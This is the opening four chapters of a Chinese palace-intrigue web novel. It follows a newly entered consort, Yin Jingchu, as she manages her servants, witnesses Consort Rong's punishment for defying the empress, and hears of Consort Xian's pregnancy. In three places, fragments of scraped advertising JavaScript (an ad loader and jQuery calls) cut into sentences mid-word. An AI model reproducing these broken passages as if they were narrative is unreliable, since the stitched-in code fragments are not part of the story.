《娘娘她宠冠六宫》 1. 第一章 永昭元年,尚是仲夏。 连绵绿意掩映下的皇城宫苑错落有致,影影绰绰间露出飞檐翘角。 午后的坤宁宫一派静谧,皇后端坐在罗汉榻上,她手上虽捧着紫苏熟水,心思却都在那殿选的秀女名册上,粗粗过了一遍心中有了底,方才慢悠悠将熟水送到嘴里。 “转眼就到五月,天慢慢热起来了。” 蕊珠闻言,嘴角流露出温婉的笑意,低眉柔顺道:“娘娘素来不耐热。不过,往年这时候也预备着要到行宫避暑去了,今年不同往年,倒不得闲了。” 闻言,皇后面上勾起一抹浅淡的笑意来,隐隐透着几分欣喜。 往年都是以太子妃的身份随行,可如今殿下已经登基,她的身份自不同往常。从处处小心谨慎的储妃到如今母仪天下的皇后娘娘,终于是守得云开见月明。 “往后多的是时间,今年去不去的不打紧。”皇后不以为然,她将手中的盏随意搁在小几上,眼神中闪过几分怅惘,“倒是陛下登基的头一回选秀,多少双眼睛可都瞧着,本宫要办的漂漂亮亮的才是。” 这话不假,她是皇后,这些事情都是职责。 办的好,那是本分。 若办的不好,不说陛下,前朝后宫该如何瞧她这位皇后,到时候光是唾沫都能将她淹了,连累的不光是她这个人,还有母家门阀世家的脸面。 蕊珠自幼伺候在皇后身边,知道她最看重名声与脸面。 瞧着皇后有些怅然,她忙挑了话茬笑道:“这回举国大选,瞧着是隆重。一层层选上来,到殿选也有百十人,今早阖宫请安时听贵妃酸言酸语的,怕是秀女中的佼佼者不少。” 从初选,复选到最后殿选不知淘汰了多少人,能留到最后的都不简单。 虽说这殿选名册才呈上来,不过若有心想探听一二,宫里门道也多了去,有钱能使鬼推磨这话在哪儿都适用。 皇后瞥了她一眼,面含讥讽道:“也该她上心的。如今可不比先帝时候了,大选入宫的秀女都是出身官宦人家,最低也是六品官员。她一个破落户,凭着一点子与陛下微末时的情分撒娇撒痴到今日,也该知足了。” 皇后出身上京崔氏,是左相崔大人的掌上明珠。昔年上京数一数二的名门贵女,原也是要作配门当户对的郎君。 可后来前朝覆灭,先帝建立新朝后改国号大晟,为自己的嫡长子择了出身名门的皇后为正妃。 皇后嫁入东宫时,陛下已有成群的姬妾,出身不过尔尔,但一个赛一个心眼多。 遥想后宫被搅和的乌烟瘴气,皇后就不由得皱了皱眉头,没好气道:“新人入宫也好,总归是没清静日子过的。鹬蚌相争渔翁得利,她们争来斗去,本宫乐的看戏。” . 一驾青顶马车停在顺华门外,守在门口引领新晋宫嫔们的内侍忙迎了上来,面上含着妥帖恭敬的笑意。 三日前殿选便落下帷幕,精挑细选出十四位秀女。册封位份,择吉日入宫水到渠成。 珠帘被掀起露出的是一张粉光若腻的面庞,眉似新月,眸盈秋水。这般乍然瞧上去让人看直了眼,莫说内侍,便是宫女们阅人无数都少见这般盛的容貌,再配上玲珑窈窕的身段,心知往后必是有大造化的。 这般想着,上前引领的内侍笑意透着讨好,一路谄媚奉承,殷璟初面上都含着软和的笑,不置可否。 一直到惠和殿,殷璟初方才停下脚步,她扫了眼布置雅致的内殿,莹妆笑吟吟问:“方才进来时,院子里候了一溜儿人,小主可要唤进来训话?” 殷璟初点点头,内侍宫女们鱼贯而入,步履声齐整,可见是训练有素的。 她是正六品宝林位份,按宫规合该有四个宫女和四个内侍伺候,一眼扫过去人数不多不少正好。 关于新妃入宫第一日训话这事儿,为的是树立威信,多是好话赖话敲打一番。 殷璟初让每个人出来露了个脸,让莹妆和兰时分别记下名字和来历,从前做什么活计的,可有做的好受过赏赐的,这样详细记录下来后便将人先打发出去。 外人不在了,她慢慢敛了嘴角笑意,面上露出几分疲惫,轻描淡写道:“这两日且先瞧瞧吧,总有人忍不住拔尖抢先的。” 莹妆笑了笑,听见外头没了动静,她扶着殷璟初到内室坐下,殷璟初一眼就瞧见那连枝石榴纹样的床幔,一边兰时已经先声夺人—— “石榴向来有多子多福的好寓意在,不知是谁这样有心,早早就挂上了。” 殷璟初伸手抚了抚柔滑的锦缎,未入宫前就听阿娘说全天下最势力的地方在宫里。 如今她才入宫,因着位份颇高,竟也引得内务府的人提前押宝了。 莹妆浅笑道:“他们倒会讨巧,不过这回新入宫的小主中,除了淮阳侯府的姜才人,就属小主位份最高。听说姜才人的寝殿在翠微宫,里头早有主位。咱们长秋宫倒占了没有主位的便宜,小主也可以轻省些。” 没有主位的确行事自在些,若有主位,她入宫的头一件事便要去正殿拜会。碰上个刁钻跋扈些的还会刻意为难,偏人家还能扯出主位管教宫里嫔妃是名正言顺的由头来,让你有苦说不出。 这样想着,殷璟初好歹是轻松些,里头坐了半晌,不多时便有宫里主位娘娘赏赐东西来。 一波接着一波络绎不绝,让惠和殿中颇为热闹。 莹妆才是送走了最后一波人,她回过身来望着殷璟初,似笑非笑道:“方才去送贵妃娘娘宫里的人时,奴婢冷眼瞧着咱们宫里有些人未免太过殷切,奴婢还没说一句话,她们就抢着上去露脸,一个两个生怕说不上话似的。” 殷璟初扫了眼桌上摆放的礼物,缓声道:“再观察两日,要稳重细腻便很难得了。她们且先放在外头伺候,我的贴身事务只得由你们二人来。” 莹妆和兰时齐齐应了声,她们自幼伺候殷璟初,作为小主的心腹,最了解她的脾性。 “去叫她们几个人进来,帮着一块儿将礼物造册入库吧。” 不过一会儿,四个人便进来了。殷璟初位份高,出身也好,内务府挑来的四个宫女容貌都很齐整,两个十六七岁的,一个叫桃红,一个叫萼绿。还有两个十四五岁的,名唤豆蔻和香薷。 她们年岁都不大,但在宫里也伺候了好几年。 殷璟初唤她们几个进来帮衬将礼物造册入库也是想看看几个人手上功夫如何。 她在一边捧着茶盏,却不时留意着这边的动静。 四个人方才还未没在小主跟前说上话感到失落,这会子被唤进来帮忙,一个两个都铆足了劲做事。 殷璟初有意无意扫过来一眼,这点活计几个人做起来很快,不一会儿便都做完了。 莹妆和兰时最后对着名册清点一遍是否还有遗漏,那四个人还站在原地不动,莹妆轻轻咳嗽两声道:“你们都出去吧,小主若有事会吩咐你们进来伺候的。” 四人点了点头,面上还带着几分留恋,步子磨蹭蹭出去了。 莹妆望着殷璟初,这才失笑道:“做事情都不错,只是那两个大的,桃红和萼绿隐隐有争先的意思,瞧着心气不低。豆蔻和香薷年纪小些,不怎么主动说话,一直低着头收拾,手上功夫还算麻利 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 殷璟初透过窗户眺望院里动静,见桃红隐隐皱着眉头,脸上不怎么高兴,萼绿叉着腰不知说了什么话,二人之间颇有些剑拔弩张的气氛在。 她静静瞧了会才收回视线,“我记得除了桃红是太妃身边伺候的人,其余都是从内务府拨过来的。你去将她们二人唤进来吧。” 莹妆应了声,转头就见两个人一齐进来。 她们算是第一个被小主另外传唤的,面上都含着喜不自胜的笑意,静静候着小主给她们吩咐差事。 殷璟初望向二人,语调悠然道:“方才的差事你们都做的极好,我知道你们两个年纪比另两个小的大些,宫里当差经验也更丰富。既然这样,更该明白宫里规矩,我素来用人看重一句话——齐心协力。” 这话一出,两个人面上的笑意僵了僵,低着头不吭声。 “意思就是不管大家从哪里来,到了我这里伺候,心就得落在一块儿。若是自己人都心不齐,为着些鸡毛蒜皮的琐事争执不休,争先恐后,弄的这院里乌烟瘴气,我虽是个喜欢多一事不如少一事的清闲人也不会姑息,什么后果这会儿说出来怕吓着你们,但你们心里头得明白。” 越是说着,殷璟初脸上笑意寡淡了许多。桃红和萼绿就这么低着头,听到最后一句时,两个人都偷偷抬头瞧了眼,见小主温柔的眼眸中折射出冷冰冰的光来,语气中不带一丝感情,莫名让人背上渗透出点点寒意来。 她们听了这话都忙不迭点点头来,莹妆和兰时弯腰扶起她们,殷璟初又缓和了语气,“自然,你们事情做的好我也重重有赏。丑化说在前头,我今日也是觉得你们年岁大些,该更懂得规矩才是。” “都是被小宫女们一口一个唤姐姐的人,也都爱惜脸面,将来必不愿意在她们跟前丢了人。所以我今日只唤了你们进来说,我的意思可都明白么?” 桃红和萼绿都点了点头,桃红身子微微发颤,硬着头皮笑道:“小主说的是,奴婢们必定安分守己,惟小主马首是瞻。” 萼绿也附和道:“小主说什么便是什么,奴婢绝对不敢造次。” 莹妆见状忙笑道:“如此便好,咱们都是伺候小主的,哪里有那么可争风吃醋的呢?只要将小主伺候好了,咱们一荣俱荣一损俱损。” 桃红和萼绿都点点头,哪里还有二话说。 殷璟初脸上流露出温和的笑意来,说了这番话早觉得有些口干舌燥,端起茶盏来啜了口。 时间一点一滴过去,今儿到底是入宫头一日,十四位新晋宫嫔都在宫里候着,生怕错过侍寝的消息。 惠和殿也不例外,内侍们颇有些坐不住,趁着到御膳房取晩膳的功夫都在探听消息。 殷璟初十分沉得住气,这时候急也没用,等到松融等人将食盒取回来,她还饶有兴致在看菜色,松融心痒痒一般,凑上前去嘿嘿一笑道:“奴才去御膳房的路上碰到了姜才人宫里的东齐,奴才与他有些交情,说了一会儿话才知道他们宫里一早就预备起来了。这还不知道陛下是否去他们宫里呢,焉知不是白费一番功夫。” 他话是这么说,可也是想让自家小主引起重视来,殷璟初的手搭在食盒盖子上,眼神一动不动盯着莹妆和兰时摆桌,心思好像不在他话上。 松融愣了愣,只得无奈叹了口气退下。 今日入宫不早不晚,殷璟初在家时早膳用的不多,午膳也只垫补了些,这时候觉得胃里空空的不舒服,只想着能吃些热乎的填补。 堪堪垫补两口,就见桃红和松融从外头进来,面上透着几分惊异,“紫宸殿那边传了消息,陛下翻牌子了。” 2. 第二章 “容采女?” 殷璟初轻念了声,轻挑了挑眉有些讶然。 正八品的封位在宫里不算高,若是旧邸的嫔妃,位份这般低说明根本不受宠,陛下突然想起来传召的可能性为零,那只能是新入宫的嫔妃了。 果不其然,松融笑的满脸神秘,“这会儿后宫都得了消息,常宁阁预备着今夜侍寝,御前的人已经过去了。” 这倒是稀奇。 虽然是一批入宫的,但十四位新人里殷璟初除了对姜才人熟悉些,其他人不过殿选时打了个照面,压根儿对不上人和名字的脸。 人人都道这回新妃中的佼佼者是翠微宫的姜才人和长秋宫的殷宝林,今夜侍寝的人选极大可能从她们之中产生,不想陛下点了名不见经传的容采女,这番举动足以让人浮想联翩。 桃红见殷璟初怔神,以为她心里不高兴,忙缓声道:“小主出身高,又生就这样一副好容貌,兴许陛下明日就会翻您的牌子。” 一边松融也应声附和。 殷璟初哑然失笑道:“陛下的心意,哪里是咱们能揣度的。既然陛下今夜已经翻了牌子,那便早些歇息吧。照例留下二人廊下守夜便是。” 松融道了声是便跟着桃红出去了。 莹妆这时候才出声道:“十四位新人里姜才人封位最高,奴婢还以为她会是最先侍寝的,再不济也不会轮到一个默默无闻的采女。奴婢瞧这事不简单。” 殷璟初瞥了眼她,淡着声气道:“人人都觉得会是姜才人,陛下偏反其道而行。说来说去,点谁侍寝是陛下的权力,他喜欢谁便是谁。就算其中有鬼,用不了多久后宫都会知道。” “所以不用着急,心急吃不了热豆腐。” 兰时撇了撇嘴,小声嘟囔道:“其实容采女侍寝也能挫挫姜才人的锐气。我和莹妆都为小主抱不平。论出身,小主与姜才人不相上下,何况您从前可是宫里的常客,每逢年节都要入宫的,姜才人如何比得过您?可如今,她竟也能压您一阶,那日殿选时得意洋洋的模样,奴婢现在想起来还觉得生气。” 殷璟初听兰时这话越说越愤懑,她却十分平静。 茶水已经凉了,她手上轻轻地拨弄茶盖,思绪却飘飞到三年前。 改朝换代,头一个遭殃的便是前朝皇室。 大虞一朝亡国,皇族宇文氏的男子都做了阶下囚,好在先帝以仁义立国并未赶尽杀绝,降了爵位后打发到封地,尚且留了一条命在。 她阿娘原是前朝宗女,改朝换代后也降为县主,封号保留。 饶只是宗女身份,也很是受了一段时间的冷遇,连累爹爹仕途一度受挫。 都说受过冷落的知道好歹,殷璟初感受过惶惶不可终日,及至今日她一直坚定着一个念头——她要入宫,与身为族长的爹爹一同担起护佑族人平安的重担来。 殷璟初勾起一抹浅淡的笑意道:“虎落平阳还被犬欺呢。她是心气高,也只是嘴上酸了几句,若这些话还要时时刻刻记在心上,以后在宫里不知有多少坎儿等着我去蹚,这会儿便觉得气还早着呢。” 她不在意姜才人出言不逊,都是上京大家闺秀,从前没少打照面。那是个什么性子,又不是第一天才认识。 不过今夜容采女侍寝,姜才人那边扑了空,倒不知此刻该有多愤懑。她这人最是记仇,又惯是小心眼,明日请安该是有好戏看了。 夜里多梦,殷璟初睁开眼睛时内室漆黑一片,她轻轻翻了个身,守在一边的兰时就听见动静,压低声音问道:“眼下时候还早,小主不妨再歇歇。” 殷璟初却没这个心思了,眼见着就要天亮了,她反倒是坐起身来盘算着今日请安时的穿着了。 前儿就裁剪了许多宫装,旁人都说人靠衣装马靠鞍,可落到殷璟初这儿,实在是她衬衣裳,再平平无奇的穿到她身上也变的与众不同,夺人眼球。 兰时笑着道:“奴婢瞧着那件十样锦的宫装便很好,小主肤色白皙,更衬得人娇俏可人。” 殷璟初的视线却落在一边品月色剪裁得体的宫装上,笑吟吟道:“今日主角不是我,倒不必喧宾夺主,挡了人家的风头不大好。就这件品月色吧,端庄大气。” 兰时不高兴地瘪了瘪嘴,又耷拉着眉头拉下脸子道:“没想到宫里这样憋屈,小主还要顾忌这许多,连衣裳的颜色都不能随心所欲去挑了。” 殷璟初笑了笑,晲了她一眼道:“莫要嘴上抱不平了,去准备吧。” 兰时颔首,转身就动起来了。 说话间外头天色便亮了起来,按照宫规,今日新进宫的嫔妃都要去坤宁宫向皇后娘娘请安,晨昏定省的规矩不能忘。 松融和承庆昨夜在廊下守夜,宫女们排了一个取膳表,每日轮到谁到御膳房取膳食,今早由萼绿开始。 惠和殿每个人都有条不紊地做着自己的事,桃红和豆蔻端着热水侍候在镜台边,香薷手上捧着珍珠膏,三人都静静地瞧着莹妆为小主梳妆。 殷璟初换上品月色的宫装,愈发衬得人高华清贵,还添上几分清冷的气质。她肤如凝脂,嘴角只是勾出浅浅的一丝微笑便有迷倒众生的本事,瞧的身边人都不由得赞叹出声。 豆蔻和香薷年纪还小,最是藏不住心思的时候,当即瞧的二人满脸惊叹之色,饶是见过许多嫔妃的桃红都呼吸一窒,她不得不承认小主的美,压根儿不逊色于宫里任何一位嫔妃,令身为女子的自己都心服口服,何况是陛下呢? 她心里又暗暗惊喜,能够跟着这样一位小主是她的福气,将来小主有了大造化,她自然跟着受益。 铜镜虽然瞧的影影绰绰不大真切,但殷璟初嘴角还是露出一抹恬然的笑意来,离请安还有半个时辰,不必着急。 略等了片刻,萼绿提膳回来了,与方才去时面带喜色不同,回来时她神情中透着几分恼意,咬了咬唇不忿道:“简直是欺人太甚。奴婢好好排着队呢,常宁阁的宫人眼珠子长到额头上了,硬生生插过来,嘴上还道她们小主昨夜侍寝累着了,这时候就想用些软糯可口的粥食,不由分说就将东西取走了,那嚣张跋扈的样子忒可恨了些。” 常宁阁,容采女的住处。 殷璟初挑了挑眉,昨夜才侍寝,今早宫里人就这样目中无人,都说仆似其主,可见不是个有成算的,这样的人能走多远呢? “你提膳时还碰上谁了?” 萼绿怔了怔,答道:“宫里规矩只有正三品以上的主位娘娘宫里才设有小厨房,其余小主们的一日膳食都要派人去御膳房去取。奴婢去的时候,旁的宫里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的宫人都到了,都瞧着常宁阁的人在耍横。” 殷璟初抿了抿嘴,容采女昨夜侍寝本就是今早请安的众矢之的,多少双眼珠子都瞧着在,偏底下人还招摇过市,看来今早请安会比她想象中还热闹。 慢悠悠用过早膳,殷璟初才出了门。 长秋宫没有别的嫔妃住,她的位份还用不得仪仗,因此只能步行到坤宁宫请安。 今日请安只带了桃红一人,她从前伺候在太妃跟前是见过世面的,对宫里的嫔妃们也有所了解,带着她稳妥些。 一路上,桃红只是压低声音缓缓道:“贵妃娘娘是陛下从前的妾室,虽然家族已经零落,可她是最早伺候陛下的人,颇为受宠。四妃中除了贵妃娘娘还有一位贤妃娘娘,她是先帝登基后赐给陛下的良娣,与皇后娘娘一同入东宫的,出身琅琊顾氏,性情温柔,有大家风范。” 她对宫里嫔妃们的出身和性情娓娓道来,如数家珍,了解的颇为清楚,惹得殷璟初愣了愣,遂笑吟吟道:“我只觉得你在太妃身边伺候,比另几个懂的多些,不想这般事无巨细。” 桃红面上泛起一丝潮红,赧然道:“奴婢从前伺候在端敬太妃身边,她与太后娘娘交好,奴婢伺候了她几年,后来她不幸薨了,奴婢这才被内务府安排到小主身边伺候。” 端敬太妃是先帝的嫔妃,依附于当时的皇后,也就是现在的太后,颇受先帝宠爱。 去岁先帝驾崩,她身子便不大好了,一直到今年初终于熬不住,病逝于寿康宫。 “既有这样的资历,为何不去那些高位嫔妃身边伺候呢?” 桃红顿了顿,复语气平缓道:“奴婢若是说些冠冕堂皇的话,小主也不信,倒不如敞亮些。实则是那些高位嫔妃身边早有心腹,奴婢就算去了也很难出头,这样接着熬几年,熬到二十五岁出宫都是默默无闻的小宫女。” “奴婢入宫是吃过苦的,要是端敬太妃没薨,奴婢做到寿康宫一等宫女也是安安稳稳的。可如今不成了。人往高处走,替自己谋个前程最要紧。” 殷璟初今日才听她说这些话,她倒不似寻常宫女,说起话来还很有文邹邹的劲儿,一问也才知道她爹爹原是秀才,后来爹娘死了被吃了绝户这才入宫来谋生路。 “那你与萼绿呢?今儿我听你说这番话,瞧着不是个小气性的人,昨儿因着什么闹那般难堪?” 桃红面上浮现几分尴尬,她缓缓道:“奴婢和萼绿八岁一同入宫,那时候便很要好。只是后来奴婢被端敬太妃挑走伺候,萼绿一直困在花房没出路,她以为奴婢攀了高枝,一气之下便不再与奴婢要好了,这几年也不曾碰面。直到前几日,我被调到长秋宫才又碰上她……” 原是有这样的缘故在,殷璟初静静听着,她远远眺望不远处的城墙,语调四平八稳: “若你觉得她值得,不必想着拉不下脸面主动开口。这宫里太大了,夜里太冷太幽寂,若有个知心人说说体己话都是好的。若你觉得不值,那么往后便井水不犯河水。只一点,不许耽误宫里的差事,你们的不和亦不能摆在台面上,将来为人利用,给了有心人可趁之机。” 桃红心里一凛,忙颔首说是。 主仆二人紧赶慢赶至坤宁宫,人还没进去,便听见里头一阵娇笑声传来。 3. 第三章 女子二十出头的年纪,乌黑柔顺的长发挽成了高耸繁复的发髻,妆容精致,眼波流转间尽显慵懒随意,端的是娇媚入骨。 桃红跟在殷璟初身后,她迅速抬头扫了眼,而后凑在小主耳边低低道:“是贵妃娘娘。” 本朝以左为尊,徐贵妃的位置在皇后左手下第一个。 殷璟初来的时辰不算晚,十四位新人到了十位,容采女还未来。 殷璟初注意到徐贵妃对面的位置是空的。今日嫔妃们大都来的早,无外乎是想看看新人,凑凑热闹。 贤妃还没到,也从侧面印证了她传闻中生性淡泊,不喜争宠的名声。 只是传闻终究是传闻,殷璟初抿了抿嘴,她再抬眸便见姜才人的视线扫了来。 姜才人今日打扮的格外出众,这许多新面孔中给人印象最深的。一身胭脂红锦缎宫装,发髻精美,满头珠翠虽不逾制,但也足够惹眼,神情骄矜。 殷璟初倒能揣度到她今日的心思。原就是新人中的第一人,位份最高,昨儿陛下却宣了一个小小采女侍寝,她心里不忿。所以今日请安更要精心打扮,以免让人小瞧了去。 殷璟初端起茶盏来啜了口茶,不愧是皇后娘娘的坤宁宫中的茶水,清香醇厚,回味无穷。 徐贵妃扫了眼众人,她拖着下颌,娇声道:“新人一来果真是满室生香,本宫瞧着她们竟会觉得自己多有不如呢。” 话音甫落,就见一位湖蓝色宫装的女子笑了笑,忙接话道:“贵妃娘娘这是哪儿的话?您要这样说,嫔妾们可要自惭形秽了。赶明儿就要躲在宫里羞于见人了。” 马屁倒拍的溜,哄的徐贵妃嫣然一笑。 方才桃红与她说过,这位该是褚良媛了,惯是依附着贵妃。 有人附和,自有人看不过眼。 玫妃睨了褚良媛一眼,似笑非笑道:“褚良媛也忒会说话了些,难怪贵妃娘娘喜欢你,每每在陛下跟前举荐你,这样的本事可不是咱们能学的来的。” 褚良媛恩宠平平,能有今日的位份全靠贵妃提携,这在宫里从不是秘密,但舞到台面上来说就不好听了。 玫妃这话明里暗里是讽刺她会逢迎讨好,新人在场全然不给褚良媛面子,让褚良媛面上一阵红一阵白,讪讪地不敢出言。 毕竟玫妃位份可比褚良媛高得多。 徐贵妃挑了挑眉,嘴角勾起几分不满冷笑道:“玫妃有什么好本事尽管使出来给本宫瞧瞧,说起来,本宫记得陛下已经半个月没去你宫里了。” 玫妃听了这话当即气的胸口疼,她羞愤交集,当即就要回嘴,却听见外头一阵脚步声—— “皇后娘娘到。” 玫妃倏然闭上了嘴,只能勉强将怒气压下,随着众人一同站起身来。 殷璟初在一边瞧了这样一场好戏,对宫里的勾心斗角有了新的认识。看样子,徐贵妃和玫妃之间也不大太平,不和摆在了明面上。 转眼瞧着屋子里,除了贤妃和容采女的位置还空着,其余都到了。 皇后出身门阀,是先帝为陛下亲选的太子妃,自然是气度雍容,端庄华贵,她嘴角含着浅淡的笑意,甫一落座便道众人免礼。 她扫了眼众嫔妃,又问道:“还未进来就听大家聊的热闹,是有什么喜事么?” 众人的视线纷纷落在了徐贵妃和玫妃身上,二人这会儿都很默契地闭上了嘴不说话,气氛一时颇为安静。 皇后遂笑吟吟道:“若是没有,本宫倒有一件喜事告诉大家。今早章台宫的宫人来禀报,贤妃一早起来时身子不适请了太医去瞧,太医说她已经有了近三个月的身孕。” 这话一出如同平地一声惊雷,众人都愣住了。 徐贵妃嘴角的笑意敛了去,神情中满是惊讶,又透着几分若有似无的嫉妒。 殷璟初微怔,她慢慢垂首,果然这宫里的人都不简单。 宫里传闻都说贤妃生性淡泊,一贯是温温柔柔的模样,无甚心机城府。可仔细想想,她到底是四妃之一,三个月的身孕胎都相对稳定了才透露出来,这才是真正的不声不响办大事。 玫妃顿了顿,手轻轻滑落下来,她神情中透着几分苦涩与羡慕,而后缓声道:“贤妃姐姐可真是好福气,不知道陛下那边可知道了?” 她问的也是在座嫔妃都想知道的,殷璟初抬眸,见褚良媛也稍稍挪动位置,神情颇为在意。 贤妃已经位列从一品四妃,再往上便是正一品的皇贵妃。自前朝起,皇贵妃的位份便不可轻易册封,到底位同副后,如今宫里可有一位名符其实的皇后呢,陛下也不会想着去打皇后的脸。 皇后神态自若道:“陛下那边已经得了消息,吩咐太医院院首齐太医好好照顾贤妃这一胎。好在贤妃的胎相不错,只是今日她身子不大舒坦,大家无事莫要去章台宫打扰了。” 这话立马透露出几个信息量,第一个就是陛下吩咐太医院院首为贤妃保胎,足可见陛下对贤妃这一胎的看重。其二,贤妃的胎相不错,龙胎安好。 殷璟初眼中闪过几分复杂的神情,皇后娘娘这话颇为耐人寻味,引着人往某些方面去想。 陛下是先帝的长子,先帝登基时,他十八岁。 十二岁便跟着先帝打仗,十八岁被册立为储君,如今登基为帝也才二十一岁。 如徐贵妃、玫妃和褚良媛等人都是先帝还未登基就跟着陛下的了,名分上都是妾,后来陛下入主东宫,才纷纷封了名号。 当然,陛下在东宫这三年也添置了许多人,如今选秀又进了十四位新人,宫里嫔妃不少可生育子嗣的却少之又少。 唯一的皇长子一岁半,乃皇后娘娘所出。又是嫡出,又是长子,身份贵重。 公主倒是有两位,大公主乃骆修容所出,今年四岁,正是活泼可爱的时候。二公主生母岑容华,但因岑容华不是主位,因此公主养在管贵嫔膝下。 由此可见,宫里子嗣不丰。 若贤妃能平安诞下皇嗣,既是母凭子贵,也是子凭母贵。 众人都说了些吉祥话讨喜,唯独见着徐贵妃不如刚来时那般兴致勃勃,反而是怏了些,神情中透着无尽落寞。 气氛倒也不错,不知是谁忽然道:“贤妃娘娘没来是因为遇喜了,那昨儿才承宠的容采女怎么没来啊?” 是了,众人倒将容采女抛之脑后了,见有人提起来纷纷侧身朝后面空着的位置瞧过来。 皇后嘴角笑意淡了几分,张了张嘴正要说话,一阵匆忙的脚步声传来,一下子吸引了所有人的目光。 来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 者珠翠满头,华服加身。她面容美丽,袅袅婷婷道:“嫔妾采女容氏给皇后娘娘请安,娘娘长乐吉祥。” “安,倒真是安,也不瞧瞧现在什么时辰了。” 有人不满地嘟囔了声,声音大的整个屋子的人都能清清楚楚听见。 皇后未曾搭理,她望向容采女,语气淡淡道:“本宫记得容采女昨夜侍寝,侍奉陛下虽然辛苦,但晨昏定省的时辰也莫要忘了,到底这是身为嫔妃的本分。” 容采女闻言脸上笑意不减,接下来的话才让众人惊掉了下巴,只见她不疾不徐道: “皇后娘娘说的正是,可陛下今早也吩咐嫔妾可以多歇息一会儿。陛下的话嫔妾不敢不听,那往后若遇到这样的情况,娘娘您说嫔妾该听谁的呢?” 此话一出,众人都颇为不可置信。 小小一个采女竟然敢这样与皇后说话,还将陛下给搬了出来。 殷璟初摇了摇头,自作孽不可活。今晨萼绿回来说容采女宫里的人太嚣张,果然有什么样的小主就有怎样的宫人,凭今日这番话都能瞧出来,容采女的确是个蠢的。 往后必定走不长远。 皇后也是未曾意料到容采女会说这番话,她只是愣了几秒便反应过来,嘴角扯了几分讽刺的笑容,“本宫原是教你,既你这般不识抬举。蕊珠,将容采女请到庭院中,跪上一个时辰脑袋便能清醒了。” 话音落下,蕊珠身后便跟着两个宫女过来要请容采女出去,哪知道死到临头她仍不畏惧,她扬着下巴,满脸不服道:“皇后娘娘这是恼羞成怒了不成?嫔妾没有错,为何要跪。嫔妾不服,嫔妾要找陛下评理。” 徐贵妃本就因着方才得知贤妃有喜,心里不大得劲儿,正是心烦气躁的时候。眼下听着容采女声音尖锐大喊大叫,她更是不耐烦道:“坤宁宫岂容你在这儿大喊大叫?才侍寝一日本宫瞧着尾巴都要翘到天上去了,皇后娘娘忒宽容了些,若是本宫还要让人打你几板子才是,还不拖出去。” 贵妃往日与皇后一贯不和,今日竟然帮着皇后说话如何认人不纳罕。 可终究容采女太嚣张了些,没有人看的过眼。 容采女却忽然哭闹起来,任宫人上前两步,她便像疯魔了一样,宁死不从。 忽然之间,一阵清列的声音传来—— “江顺,将人拖出去。” 众人都惊了惊,呼吸一窒,这声音这样耳熟,不是陛下又是谁。 徐贵妃看见陛下,眼神微微泛红,忙又抚了抚发髻,问身边人可有失礼的地方,得到肯定的答复后,她才松了口气。 殷璟初随众人一同起身请安,俯首间,她瞥了眼陛下的模样。 的确如外头传的那样,陛下生得十分好看,身形颀长挺拔,姿态甚好。这样的皮相很难让人联想到陛下会带兵打仗,不知道的竟然会以为是门阀世家的贵公子,翩翩君子温润如玉。 只是神情中透着清冷孤傲,语气冰凉。 容采女彻底愣住了,她怔怔地望向陛下,满脸不可置信。 哪知道陛下一个眼神都不肯施舍给她,江顺心底叹了叹,不过是昙花一现罢了,宫里何愁没有容貌好的美人,容采女是自作孽。 他挥了挥手,身后内侍便将人扯了出去。 4. 第四章 伴随着容采女不甘的哭闹声,萦绕在殿内久久不曾消散。 陛下的此番举动令新人们都心头一凛,殷璟初只是抬眸觑了眼徐贵妃,见她神情平常,隐隐透着几分得意。 皇后呢,她嘴角勾起几分笑意,她知道陛下也是在维护她。这般想来,她语气柔和道:“陛下下早朝了?” 萧煜轻点了点头,语气漫不经心道:“听章台宫的宫人禀报贤妃有孕了,临时起意来坤宁宫坐坐,不巧撞见容氏目无皇后,以下犯上。” 哪知皇后还未开口,却见徐贵妃微抿了抿嘴,语气温柔的能滴水,“皇后娘娘就是脾气太温柔了,如今新人入宫一个两个的气焰忒嚣张了些,全然不将娘娘放在眼里。” 殷璟初闻言,深深瞧了徐贵妃一眼,眼神中闪过一丝讥讽。 徐贵妃这话说的真不聪明,一个容采女也值得她将其余新人都给拉下水去。 果然,许多人面上已经流露出几分不喜,碍于徐贵妃的位份不敢冒冒然插嘴。 姜才人紧紧地攥着帕子,生怕容采女今日的作为连累了她。她本是这回新人中的佼佼者,按旧例也该她先侍寝,让容氏捷足先登就罢了,偏徐贵妃这番话让陛下对她们印象不好,岂不是会连累到自己? 她心里忍不住在打鼓,眼神中隐隐几分怨意。 相较之下,殷璟初神情恬淡许多,她只是微微垂眸,始终一副从容淡然的模样。 皇后微微蹙眉,她素来瞧不起贵妃,后妃之间的龃龉后宫人人皆知。 如今可倒好,新妃才入宫,贵妃就这般擅自插嘴,言语中还拉扯上自己,皇后自然不高兴了。 她望向陛下,语气沉静道:“容采女年轻气盛。但宫规就是宫规,若是臣妾不严惩,只怕将来有人有一学一,后宫便失了体统规矩。” 萧煜瞥了她一眼,淡声道:“你处理的很好。” “你是皇后,是后宫之主,这点小事不必顾忌。” 这点小事?若说起来,容采女昨夜才侍寝,况且瞧她今日来时志得意满的模样,陛下定是待她不错的,可转眼处置她也不过沦为“这点小事”,可见陛下压根儿不曾将人放在心上,甚至连几分怜惜都没有。 新妃们自然觉得有些心寒,但有些资历的嫔妃们早就见怪不怪了。 陛下,从来就不是一个长情的人。 皇后面上也不起半分波澜,当即转了话茬道:“说起来贤妃妹妹有孕倒是阖宫的喜事,贤妃妹妹侍奉陛下也有些年月了,若能平安诞下子嗣,是添丁添福的好事。” 萧煜嘴角勾起一抹浅淡的笑意,不置可否。 徐贵妃听见那句“有些年月”,她面上一愣,笑容中平添几分落寞和苦涩,慢慢褪了去。 若说侍奉陛下的时间,有谁比她更久呢?偏偏就她一直不曾有好消息传来,有时候瞧着皇长子和二位小公主,贵妃眼神中充满歆羡,若能有个孩子,她怕是做梦都能笑醒。 岑容华挑了挑眉,笑吟吟道:“怪道嫔妾今早起身时听见喜鹊叫。陛下有所不知,嫙儿这个小人精,昨儿还在与嫔妾闹着要弟弟妹妹呢,等到时候贤妃娘娘平安诞下皇嗣,嫙儿便又有了弟弟妹妹可以一起玩闹。” 